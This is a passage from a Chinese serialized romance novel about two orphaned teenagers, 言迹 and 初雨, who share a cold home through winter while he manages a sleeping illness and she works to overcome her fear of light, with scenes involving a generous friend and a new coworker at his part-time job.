初雨瞧见桌上杯子里的水位线下降,知道听见的那声响,是言迹喝完水以后,放下杯子的动静。
看来,她提前准备凉白开这点,做得很对。
注意到她的视线,言迹缓声:“要不是你提前备了水,我醒来就能喝,差点嗓子要干燥得冒火了,小鱼真贴心,连这个都考虑到了。”
举手之劳而已,他夸得这么起劲,好像她做的是什么常人想不到的事。
言迹去厨房煮夜宵,初雨在房间内用记事本记东西。
她写上言迹这次发病那天的日期,还有今天醒来的时间,只有三天,和上次发病的时间,距离将近两个月。
这个记事本,放在合上的绘画本旁边。
一个记录和言迹相关的事,一个画着言迹睡着时的模样。
仅和他相关。
言迹打开冰箱,取出提前买好的速食馄饨,往沸水里丢了几颗。
他煮馄饨的时候,瞧见厨房垃圾桶里躺着几个方便面包装袋。
“小鱼。”
他端着两碗冒热气的馄饨回到客厅,递给初雨一碗,借着暖橙色的台灯光线,和她对视,“怎么这次又吃方便面?冰箱里有拌饭酱和火腿鸡蛋,你可以蒸米饭,煎火腿炒鸡蛋吃,也能做蛋炒饭,我记得小学有次,你来我家玩,我们饿了,大人又不在家,我找出剩米饭,你给我做蛋炒饭吃,现在不会做了吗?”
她迎着言迹的疑问,平静答话:“我一个人吃饭,蒸饭炒饭好麻烦,方便面简单又快,当然首选方便面。”
言迹想说点什么,喉结滚了滚,到底没说出口。
倘若他哪次离开这个世界了,初雨该不会天天吃方便面吧。
是他想得短浅了。
只教会她做饭炒菜不是万全之策,还是得他亲眼看着初雨长大,才能放心她以后独自生活。
真怕哪次发病后,长久沉睡,再也回不到现实世界。
越是这么想,他越是珍惜清醒的时间,一秒都不肯虚度。
收拾完碗筷,凌晨一点半。
两个人都睡不着,言迹拿着课本复习功课,初雨翻着一本漫画,心不在焉地浏览。
人总会在深夜时分,思考一些深奥的问题,初雨也不例外。
“哥哥,”她突然好奇,“人活着是为了什么?”
言迹比她大两岁,懂的比她多,曾经有很多难题,也是向他请教后才解开疑问。
日子久了,认为他无所不知。
自然而然,一遇到想不通的事,就想听听他这个“疑难宝典”的答案。
言迹略有怔愣,没料到初雨冷不丁问出这么有哲理的问题。
他思忖几秒,给出他的个人见解:“我想,大概是为了某种追求?每个人的追求都不同,有人为了吃更多的美食,有人为了看更漂亮的风景,大家经历难忘的事,遇见值得的人,为了那件事或者那个人,以自己的方式生活着。”
就比如他。
他为了不让妈妈和奶奶对自己失望,为了回报初雨妈妈照顾过他的恩情,他才找到了活着的意义。
初雨听得一知半解,她捉到重点:“哥哥,你的追求是什么?”
言迹轻勾眉峰:“想知道?拿你的答案来交换吧。”
她坐直身子,有些郑重地咬咬唇:“我想回学校读书,考上医科大学,以后当医生,治好更多的病人,让世上少一点疾苦。”
“是很伟大的志向,”言迹支持她的追求,同时略感好奇,“以前怎么没听你说过想当医生?”
她不好意思地笑笑:“因为我前两天才决定呀,你给我讲过,医生说这个病治不好,那我就当更厉害的医生,多学点知识,一定找办法给你治好。”
必须承认,言迹内心非常感动。
无法扭转的事实,她却要亲自去试试,甚至为了他的病,赌上她的未来。
感性情绪没能困住理性逻辑。
言迹眼瞳中的温柔快要融化般软和,他的嗓音放缓,磁性清冽的男低音似乎沾带勾缠人心的魔力,字字诱耳:“小鱼,不要因为我,影响你未来的就业方向,你原本想做什么,就去做,别为我改变你原先的决定。”
她拿以后的人生大事当说笑可以,万万不能真的为他放弃原本坚持的东西,他担不起耽误她的代价。
她的神色像是一直执迷不悟的问题终于解答,豁然轻笑,很有释怀的味道,直言坦白:“原本什么都不想做。”
言迹的眸光微微沉敛,化开浓郁的忧愁,转为心疼她的底色。
她倾吐真心:“哥哥,谢谢你,让我明白我以后想要成为什么样的人。”
前段时间想成为和他一样厉害的人,想成为让他感到累的时候,也能依靠的存在。
这几天越发觉得,只成为和他一样厉害的人,还远远达不到她心中的标准。
她要比言迹更厉害才行,要有治好他的实力,要有给他一个避风港的能力,真真正正对得起“家人”的身份,做到足够让他认可的地步,他再有烦心事的话,就能和她敞开心扉了吧?
只要达到这个目标,哥哥就不会再拿她当小女孩看待了吧?
就不会满怀心事地皱着眉,还嘴硬逞强说没事了吧?
按照约定好的,言迹和她交换答案。
“我的追求很简单,或许算不上追求,”他自嘲般地笑笑,“我想看着你
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彻底痊愈,我呢,好好读书好好赚钱,读完大学,找份稳定的工作就行。”
没有壮志凌云的抱负,只想过简单平淡的日子。
初雨肯定他:“当然算追求,这样确实很好啊。”
一眼能望到尽头的普通生活,成为他们现阶段的最大奢求。
言迹和初雨,这两位当局者,没及时察觉出来,他们各自拟定的发展,早已和对方息息相关。
为了对方,要变得更好。
为了目标,要迎难而上。
十二月末,小镇降落第一场初雪。
气温急剧下降,他们生活的老旧居民楼没有供暖设施,家里不具备买空调的条件,初雨只能一层层叠穿厚重衣服抵御寒冷侵袭。
她从小怕冷,注定每年冬天不太好过,穿多厚都无法改善手脚冰凉的症状。
对于给她取暖这方面,言迹给出能力范围内最好的标准。
给她买新的电热毯、暖水袋、掰掰热、暖身贴、暖手宝。
言迹本想再买个小太阳取暖器给她用,被她拦住:“这些东西够我暖和了,哥哥省着点花钱,攒下来的钱存进你的大学学费里。”
她深知,言迹对她好得没话说,她也要站在他的立场,为他的将来打算,说什么都不允许他买昂贵的取暖器。
至少,以还没成年且经济没完全独立的他们的视角来说,买取暖器的钱可以用昂贵衡量。
言迹听了初雨的话,没买取暖器。
他声称不怕冷,寒冬时节穿得依旧单薄,黑色冲锋衣里面搭件薄绒长袖衫,冷风卷过裤管,扑出他修长笔直的双腿线条。
前几年的厚衣服,今时今日窄小到穿不进去。
冬季保暖衣服贵,他舍不得花钱买新的,决定这个冬天忍忍就过去了。
初雨看他穿那么少,担心他冷,硬塞给他暖身贴,他又放回原位,一副无所谓的态度:“我们男生火气重,不怕冷,用不着这种东西。”
取暖的物品,本就是买给初雨的,他不动。
他多用一个,初雨就少一个。
宁愿他吃苦受冻,也不愿她皱一皱眉。
为了弥补家里不暖和的缺失,言迹经常买新鲜蔬菜和肉回来,和初雨一起涮简单的火锅吃了暖暖身子。
还会给她煮热乎乎的汤,里面放些面条或者宽粉土豆粉之类的,每一口吃下去都暖到胃里。
他去超市购买食材和生活用品,想起家里的速溶咖啡喝完了,又拿罐咖啡粉。
瞥见一旁的冲泡式可可粉,他毫不犹豫地扔进购物车,回到家就给初雨泡了一杯热可可,端给她:“喝了暖暖胃,小心烫。”
她接过杯子,醇香的巧克力香气萦绕鼻腔。
“那你呢?你不喝吗?”她捧着杯子,手心感受到暖意。
言迹打开罐装咖啡,拿起买咖啡送的小勺子,伸进罐里舀粉末:“我喝咖啡提提神,等会儿还要复习,马上期末考了。”
加完热水,他用勺子搅拌,加速溶解。
初雨凑过去:“哥哥,我想……”
她有些犹豫,支支吾吾的。
言迹以为她想尝尝咖啡的味道,自然地把咖啡杯递过去:“很苦的,你只能喝一小口。”
“不是想喝咖啡。”她晃晃脑袋,声音又轻了两分。
言迹拿回咖啡杯:“那是什么事儿?”
他低头啜咖啡,还没咽下去,听见初雨说:“我想和你一起睡。”
“咳咳咳……”
言迹呛咳得耳颊同时升温,他瞳孔地震,严词拒绝:“不行!你乱说什么呢?别胡闹。”
他的墨黑眼底,洇开一片冰冷,像要和她从此划清界限。
“我有理由的!你能不能听完再拒绝我?”初雨理直气壮,丝毫不觉得她说的话有问题。
言迹的态度是前所未有过的冷硬,一字一句:“不听。”
他浑身上下竖起无形的尖刺,禁止她再试探靠近。
强势的威压感自他眉眼间散发,渗进话中:“回你房间睡觉,以后不许再提这么荒唐的事。”
11. 第十一夜
初雨红着眼眶说出她的理由:“你买的电热毯是双人款式,我打开电源,两边都暖了,我们一起睡,都暖和,也不浪费电,为什么不行!”
有些双人床用的电热毯,电源无法分开,按下开关,整张毯子都会发热。
后来产品做了改进,电源分开,可以控制两边的温度,但言迹买的就是改进前的旧款式。
“不行就是不行,没有为什么。”
言迹的语气稍微缓和,“你不用担心电费,我能给你买电热毯,就说明我负担的起这笔开销,双人款式能让整张床温度提升,你怎么睡都不冷,我特意买的这种。”
气氛僵持不下。
插着电源的台灯,此时骤然熄灭,室内陷入黑暗,等他们的眼睛适应暗度,勉强能依靠朦胧月光瞧见对方的位置。
停电后,失去光源,言迹的复习计划泡汤。
初雨和他赌气一般,回到房间,钻进冰凉的被窝蜷缩身体取暖。
热水袋是充电式的,这会儿发挥不了作用。
她给手心哈气,余热像卖火柴的小女孩手中那转瞬消逝的火苗,温度短暂又低微。
言迹挪步,准备躺回沙发休息。
茶几的玻璃角磕到他的腿,他闷不作声捂腿坐进沙发,视线顺着角度往奶奶房间的方向看去。
那扇门,很久没打开了。
奶奶去世后,他锁上房间门,让里面所有东西维持奶奶生前的模样,每逢烧香的时候才会进去。
点完香,他又重新锁门,不再踏足半步。
似乎只要保留着房间原样,不弄乱里面的陈设,就好像奶奶还陪在他身边,从未离去。
宁愿一直睡沙发,也不愿意占掉奶奶的房间。
言迹在某些主观事情上,固执地可怕。
初雨打了个喷嚏,言迹担心她感冒。
还不等他关心,她再次发问:“哥哥,真的不能和你一起睡吗?床太大了,好冷,我睡不着。”
少女嗓音带着被冷到颤抖的可怜。
言迹没吭声。
初雨知道他在听,继续央求:“你就躺我旁边,帮我盖盖被子,行吗?我喜欢侧躺着睡,但是后背盖不严实。”
一声无可奈何的叹息响起。
言迹拗不过她,抱起他的被子来到卧室,又找出几片暖身贴给初雨:“你贴睡衣上,躺好了我给你盖被子。”
“你同意和我一起睡啦?”她接过暖身贴,不死心地确认。
言迹铺好被子,和初雨保持一定距离:“就今晚,明天来电了你自己睡。”
整张床,他仅占五分之一的位置,躺的非常靠边,稍微再往外一寸,就会掉到地上。
两张被子之间隔着楚河汉界。
“我躺好啦!”初雨的后背对着言迹,“哥哥帮我把被子往上面拽拽。”
言迹听话照做,替她把被子拉紧裹好:“可以睡觉了吗,小鱼灌饼?”
外面卖的鸡蛋灌饼,摊主会把鸡蛋液均匀灌进膨胀的饼皮里。
陷进被窝的初雨,就像被控制的鸡蛋液,不仅失去行动力,还被整张饼皮般的厚重棉被裹在其中,可不就是小鱼灌饼吗。
“可以。”她嘴上这么说,躺了一会儿,又朝言迹这边翻身。
言迹再次倾身给她拽好被子。
距离过近,她能闻见言迹身上的洗衣粉味儿,他的体温透过衣料,往外散发热气,在寒冷的冬夜,让她感受到一丝紧贴的温暖。
等言迹躺回他的被窝,洗衣粉香气跟着飘远,在空气中若有似无的刷新存在感。
初雨有些困倦的话音送进言迹耳朵:“哥哥,你身上的味道闻着好安心。”
之前说他抱着像超大号的玩具娃娃,很安心。
现在又说他身上的味道闻着好安心。
是不是只要他在身边,什么都不做,她都觉得很好。
言迹闻不到她说的安心感,轻笑道:“你就这么喜欢洗衣粉的味道?”
“不是洗衣粉,是你的味道。”她强撑着困意说完这句话,沉沉睡去。
她睡得香,言迹彻底失眠。
反复被她临睡前那句话搅乱心神,什么叫他的味道?
这句话像一缕丝线,将他心底潜滋暗长的陌异情愫勾出芽尖,冒着危险的弱信号,试图引起他的重视。
他反躬自省,同住以后,他时刻保持合适的距离,一遍遍提醒自己不要越界。
今晚却和初雨躺到一张床上,尽管睡在不同被窝,他还是心有深深负罪感。
想回到沙发上去睡觉,又担心她半夜翻身盖不好被子,再着凉感冒了,又要受罪。
进退两难的境地困住他的脚步。
被褥像藤蔓,将他四肢束缚,只有一颗纯洁的心脏,经受着至高道德标准的拷问。
言迹半梦半醒,保持意识到清早。
他轻手轻脚起床,带着被子回到客厅,给初雨准备好早饭和午饭之后,拿起书包出门上学。
初雨中午给他发消息说电来了,他回了一个好。
当晚,初雨再次要求言迹睡在她身旁:“哥哥,今晚我用电热毯,你就和我睡一起吧,快要期末考试了,万一你睡沙发冻感冒了,会影响状态的。”
她的心思单纯干净,为言迹着想的本意很贴心。
言迹明白她的用意,委婉拒绝:“电热毯太热,我睡了一晚,有些上火,今天嗓子不太舒服。”
昨晚的良心备受煎熬,根本睡不着。
今夜说什么都不可能再和她躺一张床上。
初雨信以为真,放弃强求:“那好吧。”
她去给言迹倒了杯温水,让他润润嗓子。
好不容易熬到期末考试结束,成绩出来前的几天时间,算是预先进入寒假。
言迹考完试的第二天,早起给王阿姨打电话,表示他随时可以过去兼职,麻烦王阿姨帮忙排好他和其他店员的上班时间。
王阿姨问起他最近的情况:“昨天考完试,今天就急着回来上班呀?成绩还没出来吧,不多玩两天吗?”
言迹这个年龄段的男生,正是贪玩的时候,好多高中男生下课以后,直往网吧和游戏厅里钻。
别的同学计划寒假去哪玩,商量给哪个游戏充钱,讨论哪个牌子的球鞋出了新系列。
言迹的天性被生活压迫到尽失,仅剩求生的欲望,融入不进他们的话题圈里。
他只想赚更多的钱,带初雨早点治病。
长期下来,同学认为言迹孤僻又不合群。
他的确长得引人注目,但他那双冰凉疏离的眼眸,自带生人勿近的尖锐感,凌厉的单眼皮赋予他过多锋利的气息,攻击性蛰伏皮囊之下。
整个人像是一把伺机出鞘的冰刃,寒霜般的雪亮光芒盘踞他敏锐的眼神之中。
他的眼睫下垂,挡住被人关心时会显露的感动:“成绩过两天出来,我在家里闲着没事儿做,想早点回去给您帮忙。”
王阿姨知道他懂事:“那你明天过来吧,正好店里新招了个女孩子,你带她熟悉一下。”
言迹听从安排。
既然即将回去上班,那今天空余的时间还可以自由支配。
他给初雨打声招呼:“小鱼,我明天开始去王阿姨店里兼职,这会儿买点菜回来给你做饭,顺便看影音店里有没有小美人鱼的碟片,有的话我租回来,我们吃完饭一起看。”
她点点头:“好,哥哥穿厚点,出门注意安全。”
言迹走后,她朝窗帘缝隙外投去目光。
好几个月没出门了,等天气好点,她想挑个阴天出门透透气。
晴天的光照强烈,她短时间内仍然无法接受。
言迹如愿借到小美人鱼的碟片,饭后收拾完厨房,他洗干净手,取出碟片放进碟片机,打开电视。
做好准备工作,他对初雨说:“我们开始看吧。”
初雨期待已久,这时目不转睛地盯着屏幕:“小美人鱼好漂亮啊,红色的头发好酷。”
剧情铺开,动画电影里的角色生动鲜活,就好像他们真实存在于世界上的某个神秘国度。
“他们的一举一动好自然,像真人演员。”
初雨聚精会神凝视屏幕里的小美人鱼拿叉子当梳子,梳了几下头发后察觉到不对劲,又局促地放下叉子,小美人鱼丰富的表情变化和肢体语言充分展示了她对人类世界的陌生。
言迹顺着她的话往下说:“这动画片是迪士尼公司拍的,迪士尼的原画师画出人物形象后,公司会找专业的动作捕捉员,让捕捉员贴合动画人物角色的设定发挥剧情,动画制作组同时捕捉真人演员的表情和动作,再还原到动画人物身上,拍出来的效果就很灵动。”
她的话语跃上崇拜的火焰:“哇,哥哥你真的什么都懂啊,动画片你也这么清楚。”
“我也是听人说的,算不上清楚。”言迹一笑带过。
他去年在便利店打工的晚上,有个年轻的女人带着女孩来店里买水,女孩问女人:“妈妈,我在姨妈家里和姐姐一起看了白雪公主,白雪公主跳舞好厉害呀,姐姐说是幕后的动作捕捉员自由发挥的,是吗?”
年轻女人给女儿说:“你姐姐说得对,担任白雪公主动作捕捉员的人是专业舞蹈演员哦,因为她跳得很好,所以把白雪公主跳舞演绎得很棒。”
言迹无意听到她们的对话,对前所未闻的职业起了浓厚探索欲。
他用店里的台式电脑查询“动作捕捉演员”,相关视频详细介绍这个行业的工作内容。
初雨和他当时一样,揣着好奇心,急切地问:“他们怎么捕捉的?听着很有趣。”
三言两语哪说得清,要让她亲
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眼看到视频演示,才能充分明白动捕过程。
“看完动画告诉你。”言迹吊足她的胃口。
“好吧。”初雨继续看剧情。
言迹给发小赵以恒发消息,问他在不在家。
【赵以恒:在啊,我爸妈去亲戚家打牌了,我一个人在家无聊到快要发霉,你要来找我玩吗?】
【言迹:能借用你家电脑帮我妹妹查东西吗?】
2G时代,只支持手机搜索网页图片,不支持在线看视频。
赵以恒家里条件还行,父母给他买了台电脑,让他学习用,实际他趁父母不在家的时候,没少拿电脑玩游戏。
言迹和赵以恒相识在小学,至今还是同校同学,一直保持着知根知底的关系。
正因为知根知底,赵以恒更好奇,怎么好端端的,跳出来个妹妹?没听言迹说过他有妹妹啊?
【赵以恒:能啊,是亲妹妹吗?】
【言迹:是我邻居。】
看完动画,言迹瞧着外面暗沉的暮色。
他问初雨:“我朋友家有电脑,我借用他的电脑帮你查动捕过程,你要和我一起去看,还是我自己去查,用手机帮你把视频拍回来?”
提到要出门,初雨第一反应有些抗拒。
虽然下午才想过要出门透透气,但……但她还没做好准备,现在出门有些太突然。
似乎门外等着洪水猛兽,只要她往外去半步,就会被危险侵吞。
“你帮我拍回来吧。”初雨的手指交握,低头小声说,“我暂时不想出门。”
“行,那你在家等我。”
“嗯。”
冷风凛冽。
言迹走在夜色里,他呼出的气息凝成白雾,试探到初雨依旧害怕出门的态度,他不禁猜想,什么时候能带初雨去看医生呢。
春天?夏天?还是下一个冬天?
走到赵以恒家里,言迹抬手敲门。
赵以恒开门后,第一句话就是:“什么气温,你穿这么薄,疯了?”
言迹应付:“不冷。”
“放屁,”赵以恒让他进来,暖气包围言迹,“你是铁人吗?”
言迹没吭声,赵以恒往他身后看看,确定没人跟来,关上门:“你邻居妹妹呢?不是要查东西?她没过来?”
“这么冷的天,她冻感冒了怎么办,没让她来。”
“我说你别太离谱,同样的天气,你说你不冷,又担心你妹妹感冒?你们关系不一般啊,到底怎么回事?”
言迹简单带过情况,没透露初雨的隐私。
赵以恒给言迹递过来一杯热水:“你买两件厚衣服穿吧,冬天还长着呢。”
他接过热水,没喝,先捧着杯子暖手:“饱暖思.淫.欲,这样就挺好。”
冷能让他保持思维清晰,清楚感知到他还存活于这个世界。
因为身体冷,所以也没心思再胡乱想其他不该想的事。
真的挺好。
“你对自己这么敷衍,心思全花到妹妹身上去了吧?”赵以恒清楚言迹的性子,一语戳破,“差不多得了,你又不是她亲哥。”
“以恒,你记得我们小学三年级的时候吗?”言迹把话题扯到幼年。
赵以恒摸不着头脑:“记得,这俩事儿相干么?”
言迹眼底暗沉晦涩:“我总被班里同学欺负,回家的路上,他们编着顺口溜用难听的话羞辱我,听的时间长了,我懒得再告老师,也不想给奶奶添桩烦心事,就任由他们闹。”
赵以恒沉默了。
三年级的赵以恒,上学放学有父母接送,他那会儿和言迹还不熟,自然不知道每天放学后的情况。
言迹小学受过的伤害,时至今日依然清晰。
骂声重现。
“有妈生没妈养!不如回家去放羊!”同班同学笑着骂他的声音,刺耳钻心。
小言迹捂住耳朵,他们就加大声音,还拿饮料罐砸他。
他低头加快脚步,眼里泪花往下砸。
一个身影快步跑到他面前,挡住他,女孩声音清脆:“你们人多势众欺负他一个!算什么男子汉!”
几个男生不害臊:“你让开!少管闲事!”
初雨的态度很强硬:“他的事就是我的事!我不许你们欺负他!不然我喊大人了!”
没过瘾的坏孩子被吓退,初雨转身安慰言迹:“不要哭了,以后我们放学上学一起走,我声音可大了,能叫来大人,我保护你呀。”
言迹抽噎着说:“谢谢……那我快点长大,换我来保护你。”
回忆剥离。
言迹的声音,多了几许被往昔浸润后的酸涩:“我总得说话算数,不能骗小孩。”
他一直在认真兑现着他幼时给出的承诺。
赵以恒沉吟片刻,反问:“你不也是小孩吗?”
12. 第十二夜
言迹垂睫,抿一口杯中的热水。
赵以恒的话,在他心窝打着转儿盘旋。
是啊,他不也是个小孩吗?
他幼时给出承诺的年纪,未满十岁,现阶段十七,等五月过了生日才算成年。
旁人眼里,他就是个普通的未成年孩子,读高中的年纪,能成熟到哪去?
可他肩负的压力和责任,过早催促他长大,在他身上找不到丝毫属于孩子的心性和朝气。
“她叫我哥哥,我要对得起这两个字。”言迹的语调低缓,像是经过剧烈思想斗争后,筋疲力尽给出最终答案。
赵以恒弄不懂言迹没苦硬吃的倔劲儿:“得,我劝了也白搭,电脑在书房,你去用吧。”
“谢了。”
言迹搜到几个时长较短的视频,用手机摄像机模式拍下来。
他用完电脑,将椅子和鼠标恢复原样,走出书房,再次给赵以恒道谢:“用完了,谢谢,我该回去了。”
赵以恒正在翻找游戏手柄:“别急着啊,和我打两局游戏呗?这才几点,早着呢。”
“改天吧,她一个人在家里我不放心。”
“那你下次带她一起来,让她玩电脑,咱俩玩游戏碟,省得你身在曹营心在汉。”
言迹答应:“行,那我先走了。”
赵以恒往卧室去:“等会儿,你跟我来。”
“嗯?有事儿?”言迹随赵以恒进到卧室。
赵以恒指指床上放的几件厚衣服:“这都我的衣服,我冬天懒得出门,用不着穿这么厚,你带回去将就穿吧。”
“没事,不用。”言迹收回目光,并不打算拿走赵以恒的衣服。
“怎么着?看不上啊?你要穿龙袍?”
赵以恒对他嘴硬逞强的拧巴性格习惯多年,打趣儿说,“别以为我关心你,我主要怕你受冻病倒了,没人陪我打游戏。”
言迹的喉咙像是被褫夺发声权,只剩下吞咽作用。
赵以恒嘴上说“别以为我关心你”,结果找出来的衣服全是羽绒服和加绒防风厚外套,还要照顾言迹的自尊心,不让他觉得这是同情的施舍,够意思了。
“你衣服不见了,叔叔阿姨肯定要问你,你想挨骂么?”言迹硬从嗓子眼里挤出一句完整的话。
感动的情绪,像要流眼泪的前奏曲,他忍在心底不外露。
赵以恒拉开衣柜:“我衣服多着呢,他们哪能记那么清楚,你别担心这个,只管穿就成。”
言迹还是犹豫:“我总不能白拿你的衣服。”
他有什么可以给的作为交换?他拿不出像样的值钱东西。
“算我借你的,开春了还我。”赵以恒把衣服装进大袋子,硬塞给言迹,“对你自己好点。”
风雪飘摇。
回到家,言迹把带回来的衣服叠好,放进他装衣服的收纳箱里,轻微声响吵醒初雨。
她从卧室出来,睡眼惺忪:“外面很冷吧?我刚才回我家找到个能灌水的暖水袋,给你灌了热水,放你被窝里了。”
言迹朝沙发方向投落视线。
原本叠起的被子铺平,保持整齐的边角,被面鼓起团不太明显的突出,是暖水袋的藏身地。
初雨和赵以恒,都在以他们各自的方式,表达对他的关心。
“谢谢小鱼,”言迹紧接着问,“你之前很害怕声控灯的光,现在怎么样?还是很难受吗?”
“好很多啦,没有以前那么严重的反应。”
实际,她出门前,做了好几分钟的心理准备。
能接受声控灯的光亮,就证明她对光线的敏感度下降了些,她想早点克服畏光症,早点帮言迹分担生活的艰辛。
她不愿一直躲在他的身后,当畏畏缩缩的小女孩。
她走出言迹家,感官被迫承受声控灯大范围照明,心里给自己打气:加油,再坚持一下就好。
凭记忆翻找出热水袋,她抱着热水袋,再回到言迹家的过程,比过来时的心态轻松点。
小进步也是进步。
她烧好热水,拿来台灯放厨房照亮,灌完水,拉开言迹的被子,放进热水袋。
做完整个流程,她轻声喃喃:“哥哥再也不用睡冰凉的被窝了。”
在她回家取热水袋的前几天。
她晚上睡前打开电热毯,把言迹买的充电式热水袋拿给他:“哥哥,你晚上用这个暖暖被窝。”
“我不冷,小鱼用吧。”
“我有电热毯,用不到这个。”
“一起用着,被窝里更暖和,你睡得香,我才能放心休息。”
怎么可能不冷呢。
她明白言迹为她付出太多,如果不是为照顾她,这些取暖设备,就能给他服务了。
一想到这,她打定主意要回家取热水袋给言迹用。
言迹替她高兴:“太好了,恢复速度挺快,等你能出门,哥哥就带你去看医生。”
“嗯,好。”
她的心里泛起矛盾的涟漪。
看过医生后,病好起来了,是不是就要和言迹分开住?同时意味着不能每天见到他,和他拥抱?
之前害怕过于依赖他,现在不仅依赖他,甚至不愿和他分开。
尝到一点甜头,妄想再多要些他的好,以此来填补她内心的空洞和寂寞。
想要永远不分开,想要他一直陪在身边。
这么自私的想法,是妹妹对待哥哥的正常态度吗?
她难以分辨,任由问号塞满心间。
言迹见到王阿姨说的那位,店里新招的女孩子。
女孩的样貌熟悉,在学校里见过很多次,她是隔壁班的陈雯娜,经常来他们班里找朋友说话,但和他没有任何交集。
“言迹?”陈雯娜见到言迹推门进店,稍有意外,“你来买东西?”
言迹长腿走向货架,熟练察看需要补齐的货品:“我在这打工。”
陈雯娜去言迹班里很多次的原因之一,就是为了看看他那张脸。
他的外貌是很多女生课余时间的话题内容,长得帅所以自带关注度。
偏偏他孤僻的性格,对所有人都冷淡疏远,让人想和他聊天的兴趣尽失。
陈雯娜说清现状:“哦哦,王阿姨没和我说你的名字,只说让我们一起搭班。”
“嗯。”言迹态度淡漠,多一个字都舍不得说。
“你穿那么少,冷不冷?”
陈雯娜是话唠,最会找话题热气氛,她想和言迹多说两句话,两个人在店里,聊聊天解闷也能打发时间。
言迹嗓音平淡,像没有感情的机器人:“不冷。”
这就……没了?
陈雯娜越挫越勇,继续找聊下去的机会:“寒假作业还挺多的,我带了作业过来,想趁店里没人的时候写,有不懂的地方可以问你吗?”
言迹走向后面的库房,去找需要补齐的东西:“我也不会。”
陈雯娜看着言迹的背影,心想:你能拥有这么帅一张脸,代价是不会说话吧,怎么每个字都像带刺一样!
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难怪学校里的女同学,顶多只是多偷看他两眼,没人上去和他搭话。
见到言迹怀里抱着几个箱子从库房出来,陈雯娜过去给他帮忙:“我帮你。”
言迹没给她机会:“不用,你盯着前面,别被人偷了东西都不知道。”
她身上的香水味浓郁,不知道喷了多少。
从言迹进店开始,陈雯娜和他说的每句话,都得到他带着“不”的否定回答。
换谁都要有点脾气了,就不能好好讲话吗。
陈雯娜尽量心平气和地给他提建议:“你说话能别这么带刺儿吗?”
言迹理货的动作一顿。
除了王阿姨以及另一个男店员,还有赵以恒和初雨,他平时不和别人交流,都快忘掉正常说话方式。
他的世界里很久没有新朋友出现,久到他抗拒再有新的任何人打破他习惯的生活模式。
不想再交新的朋友,也没心思维持经营新的关系。
“你可以不和我说话。”言迹云淡风轻的模样,似乎完全不觉得他说话方式有问题。
陈雯娜忍着愠怒的火气:“我们是同学,又都在一家店里打工,想和你交个朋友不行吗?”
言迹的语调毫无温度:“谢谢,我不需要朋友。”
陈雯娜窝着一肚子火,回到收银台,下定决心再也不要和言迹说半个字。
言迹照常干活,店里客人来来去去,陈雯娜对人热情,嘴巴又甜,看起来不像新来的店员,应该熟悉完流程了。
他们待在店里,像两个陌生人,谁都不理谁。
陈雯娜不想再自讨没趣,言迹完全对她视而不见。
等到王阿姨晚上来收完账,他们就能回家。
王阿姨比平时提早半小时过来,她点着现金数额:“天这么冷,你们早些回去吧,今天一起搭班怎么样啊?有没有闹不愉快?我想着你们年龄一样,估摸着合得来。”
陈雯娜用余光悄悄扫言迹。
言迹神色寡淡:“还行。”
王阿姨收起现金,准备关店,多说句:“言迹,娜娜和你家离得近,你们一起走吧,她一个女孩子晚上自己回家,我不放心。”
哪敢麻烦言迹,他白天对她避之不及的态度,她已经领教过了。
她正要出声婉拒,言迹对王阿姨应声:“好。”
往公交站走去的路上,陈雯娜忍不住开口:“你怎么没拒绝王阿姨?”
言迹垂眸给初雨发消息,嘴上回答:“王阿姨说了离得近,顺路的话我没意见。”
毕竟陈雯娜是女孩子,就算不顺路,他多走几步,把人送到家楼下没问题。
除此之外,他不想再有其他多余的麻烦事。
他本来就是不喜欢麻烦的人,因为心软和感恩的多层因素,主动要求照顾初雨。
从未觉得初雨是麻烦,反而认为初雨成为支撑他好好生活的动力。
能看见她漂亮的眼睛一直笑,也算他幸福的一种。
但对于其他女生,他不愿招惹麻烦。
摆明想和他拉近关系的陈雯娜,他更没心思应付。
陈雯娜和言迹家只隔半条街,看着陈雯娜进小区,言迹抬步离开。
他给初雨买了夜宵,回到家打开门:“小鱼,我回来了。”
初雨小跑着冲出卧室,扑向他怀里:“你终于回来了,我今天……”
剩下的话,被言迹身上若有似无的香水味呛回肚里,她松开言迹:“你身上什么味道?”
13. 第十三夜
言迹低头嗅闻,衣服残留陈雯娜身上的香水味。
他和陈雯娜共同在店内收银台旁待了一天,长时间受香味侵熏,难免沾带些味道。
“店里新来了个搭班的女生,她喷的香水,染到我身上了。”言迹如实回答。
初雨轻微皱眉,话语迟疑:“你们……抱过了?”
言迹失笑:“乱想什么呢?我们是搭班又不是谈恋爱。”
“那味道太重了嘛,我以为你们拥抱了,才有这么浓的香味。”
“我们都在店里值班,待的时间长,她的香水味飘到我衣服上了吧。”
言迹把夜宵递给初雨,“你先吃饭,我去换件衣服。”
她接过冒热气的夜宵,心里空落落的。
就算言迹现在没恋爱,将来也会谈女朋友,总不可能长期守着她。
她很讨厌自己心底这份阴暗的占有欲,连带着讨厌自己。
言迹见她可怜,尽心尽力照顾她,盼望她早点好起来,她却想把言迹栓在身边,世上怎么会有她这么贪婪的人。
她坐在茶几前,筷子缓缓搅动食物,香气涌进鼻腔内,食欲未增反减。
吃不下。
言迹换完衣服,坐到她身边:“你刚才要说今天怎么了?”
很高兴他还记得没说完的话,她弯唇:“今天我把窗帘拉开了一扇窗户的距离呢,那会儿外面的日落很漂亮,光线不强,还蛮舒服的。”
“小鱼恢复的速度比我原以为的要快很多,估计再过几个月就可以出门了。”言迹心里盘算着,到时候该带她去哪家医院看病呢?
他若有所思的目光,初雨精准捕捉。
“哥哥,要是我克服了畏光,可以不去医院吗?”她怕检查出来身体还有其他问题,又要让言迹担心。
言迹坚持己见:“还是去医院看看比较放心,小鱼很怕去医院吗?没事,哥哥会全程陪着你的。”
那你能,一直陪着我吗?
她咽下卡在喉咙的这句话,拆碎重组:“好。”
早点治好病,早点放言迹回归他自己的生活。
不能一直自私下去。
距除夕仅剩半个月。
放寒假后,言迹陪初雨的时间,显著增多。
陪她戴着有线耳机,听手机里下载的音乐。
两个人分享一副耳机的左右耳,静静听歌不说话的过程,像进行一场无需语言的心灵交谈。
和她看漫画里的曲折情节,讨论故事的下一个转折点会在哪里出现。
共读名著里的晦涩桥段,体会书中人物的爱恨情仇,就好像在文字中,经历一遍别人的命运。
他们依偎在柔软沙发上,盖同一条毯子,漫无目的用遥控器换频道,对哪个节目感兴趣就停下,无论是备受诟病的肥皂剧,还是有哲理的纪录片电影,只要初雨想看,言迹就奉陪到底。
电视剧中,主角家有好几张全家福,在布景里随处可见。
枕靠在言迹肩头的初雨似有所感:“我们没有全家福。”
他们各自的亲人都已去世,他们成为彼此唯一的家人。
